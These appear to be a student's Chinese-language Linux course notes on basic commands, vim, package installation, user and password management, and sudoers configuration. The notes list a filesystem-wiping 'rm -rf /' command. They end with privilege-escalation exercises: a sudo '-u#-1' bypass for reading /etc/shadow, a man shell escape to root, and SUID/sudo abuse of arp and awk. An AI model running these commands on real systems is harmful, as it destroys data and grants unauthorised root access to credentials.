上午 梳理基本命令
笔试
day01 增删改查命令
cat -n 文件
ls -a 所有 -l 长格式 -h 人类可读 -R 递归 目录
-d 只看目录的权限 /tmp directory
ls -l /
ls -l /tmp
touch 建立空文件 更新文件时间标记
mkdir 建立目录
gedit 不用
echo "nihao" >> /tmp/123.txt
mv move 剪切 重命名
cp 拷贝 -r 递归 拷贝目录
rm -rf / &> /dev/null
day02
/ /bin /sbin /dev /etc /home /root /mnt /var /usr /boot /proc
黑 绿 红 紫 蓝 浅蓝
统计
more less tail grep awk sort uniq du wc
tail -f 文件 跟踪文件的变化
grep 过滤关键字所在行
awk '{print $11}' 过滤字段
| 前面命令的输出作为后面命令的处理内容
sort 排序
uniq 合并 -c 统计合并次数
du 统计目录占用磁盘空间大小 -sh
wc 统计文件行数字数 字节数
gzip gunzip
bzip2 bunzip2
/tmp/1903的目录 请用gzip的压缩方式将其进行打包压缩
cd /tmp
tar -zcf /tmp/1903.tar.gz 1903
tar -xf /tmp/1903.tar.gz -C /root/Desktop
vim
命令 模式 输入模式 末行模式
命令模式:dd yy p i 50G G
末行模式
:wq
:q!
:% s/old/new/g
:set nu
:40,45 d
:30,40 y
day03 软件安装
软件分类: 源码 封装后的软件包
1、文件类型tar.gz 压缩包
2、README INSTALL 安装
3、 ./configure --prefix=/usr/local/webserver
指定软件安装路径 指定安装功能 生成makefile文件
4、make 根据makefile文件进行编译
5、make install 将编译后的文件拷贝到指定路径
.rpm 红帽的包管理器
.deb debian软件包
rpm -qa -qpi --scripts -qpl -ivh -e
yum源的位置以及配置过程
/etc/yum.repos.d/1903.repo
[1903]
name=123456
baseurl=file:/misc/cd
gpgcheck=0
yum install 软件
yum remove 软件
-rw-r--r-- 1
drwxr-xr-x 2 tom root 4096 Ort 10 19:30 1903dir
l b c
chmod 644
chmod 755
chown 修文件所属者
chgrp 修改文件的所属组
useradd -u -g -G -s usermod userdel -r
groupadd -g 指定gid groupmod groupdel gpasswd -r tom 1903
passwd -u -l -S --stdin
vim /etc/passwd
vim /etc/shedow
root:x:0:0:root:/root:/bin/bash
用户名
uid
用户家目录
命令解释器
root:$6$sjdfal$alkdsfjaldskfj:18783:0:99999:7: :18794:
加密后的密码 sha-512 混和 salt值加密
距离1970年1月1日密码最近一次的修改时间
密码最长有效期 90 90天必须改密码
chage -M 90 指定用户密码的最长有效期90天
-E 2019-10-30 账户的失效时间
-d 0 用户登录系统必须重新修改密码
=========================================
suid chmod u+s
/usr/bin/vim -rwsr-xr-x root root
sudo ls
sudo vi /etc/passwd
用户
为普通用户 提升使用命令的 权限 (root用户)
sudo 可以为指定用户 提升命令权限
用法 普通用户
sudo 命令字
sudo -l 列出普通用户可以使用的sudo命令字
visudo 命令 root用户用来编辑sudoers文件的命令
该文件中注释 有
## 文字说明
# 应用实例
主机别名 Host_Alias HOSTS = 主机名称1,主机名称2
用户别名 User_Alias USERS = zhaokk,dc
命令别名 Cmnd_Alias GUANJI = /sbin/init,/sbin/poweroff
别名一定要用大写
USERS ALL=(ALL) GUANJI
用户别名 主机别名所有主机=(用户别名 使用所有用户的身份包含root) 命令别名
dc ALL=(root) /sbin/init 不使用别名赋权
su - dc
$sudo -u root init 6 第一次默认要求输入自己的密码确认身份
指定使用哪个用户的身份运行 init 6命令
练习内容: 建立一个自己的同名用户,要求该用户可以运行root的/sbin/reboot 尝试使用该用户并通过sudo运行该命令查看结果。
User_Alias CLASS = wencoll
Cmnd_Alias CHONG = /sbin/reboot
CLASS ALL=(root) CHONG
如果一个用户授权使用命令的时候 不允许以root用户身份运行应该如何设定?以及当前情况如何通过漏洞提权
visudo
wencoll ALL=(ALL,!root) NOPASSWD:ALL
为wencoll用户 指定使用命令不可以以root用户身份运行
su - wencoll
sudo -u dc id 查看id命令是以谁的身份运行
sudo -u root id 输入密码后显示不允许以root用户身份
sudo -u#-1 id 因为使用了非法的uid符号-1 系统误认为该用户uid为0 root的id信息
sudo -u#-1 cat /etc/shadow
为wencoll用户设定man命令为以root用户身份运行
wencoll ALL=(root) NOPASSWD:/usr/bin/man
sudo man /etc/shadow 可以以root用户身份查看文件
!/bin/bash 以root用户身份开了一个命令解释器(提权成了root)
man man
学习以下命令的suid和sudo的提权方法。
arp
新建一个文件 ip(mac地址) +ip地址
arp -v -f /tmp/test.txt 可以查看到密匙
awk
awk ‘ // ' /etc/passwd 通过awk的过滤功能 查密码
cat
chmod
chown
cp
dd